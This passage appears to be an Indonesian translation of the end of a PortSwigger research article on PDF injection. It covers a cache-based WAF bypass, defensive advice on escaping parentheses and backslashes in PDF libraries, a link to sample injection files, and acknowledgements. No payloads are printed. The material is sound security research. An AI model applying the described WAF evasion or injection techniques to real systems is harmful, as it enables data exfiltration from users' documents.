Upaya untuk membuat serangan ini gagal karena WAF memblokir permintaan dari agen pengguna Acrobat. Kemudian saya mencoba sumber daya yang di-cache dan menemukan bahwa WAF benar-benar melewatkan ini. Permintaan tidak pernah ditampilkan karena sumber daya dimuat melalui cache. Saya mencoba menggunakan teknik ini dalam injeksi PDF, tetapi sayangnya saya tidak tahu cara menyuntikkan atau memanggil formcalc dari JavaScript tanpa menggunakan kunci kamus AcroForm trailer. Jika ada yang bisa mengelola ini, saya sangat tertarik jadi tolong hubungi saya.

pertahanan

Jika Anda membuat library PDF, Anda disarankan untuk menghindari tanda kurung dan tanda yen saat menerima masukan pengguna dalam aliran teks atau URI anotasi. Pengembang dapat menggunakan injeksi yang disediakan dalam makalah ini untuk memastikan bahwa input pengguna tidak menghasilkan injeksi PDF. Pertimbangkan untuk melakukan validasi pada konten yang masuk ke PDF untuk memastikan Anda tidak dapat memasukkan kode PDF.

Kesimpulan

Pustaka yang rentan dapat membuat input pengguna dalam PDF berbahaya dengan tidak keluar dari tanda kurung dan tanda yen. Tujuan yang jelas membantu Anda mengatasi masalah yang tampaknya mustahil dan menghargai keabadian ketika Anda mencoba mencapai tujuan tersebut. Satu tautan sederhana dapat membahayakan seluruh konten PDF yang tidak dikenal.

Contoh file

Semua contoh injeksi kertas putih ini dapat diunduh dari: https://github.com/PortSwigger/portable-data-exfilter/tree/main/PDF-research-samples

Saya tidak tahu apa-apa tentang struktur PDF sampai saya melihat Ange Albertini secara manual membuat PDF-nya sendiri. Dia adalah inspirasi besar bagi saya dan tanpa materi pembelajarannya, posting ini tidak akan dibuat. Saya juga ingin mengucapkan terima kasih kepada Alex "InsertScript" Inführ, yang mengacaukan PDF dalam presentasi web. Itu mengejutkan semua orang ketika dia menunjukkan seberapa banyak yang bisa dia lakukan dengan PDF. Terima kasih untuk kalian berdua. Kami juga ingin berterima kasih kepada Ben Sadeghipour dan Cody Brocious karena telah memberikan ide untuk melakukan serangan SSRF dari PDF dengan presentasi yang luar biasa.

sumber: https://portswigger.net/research/portable-data-exfiltration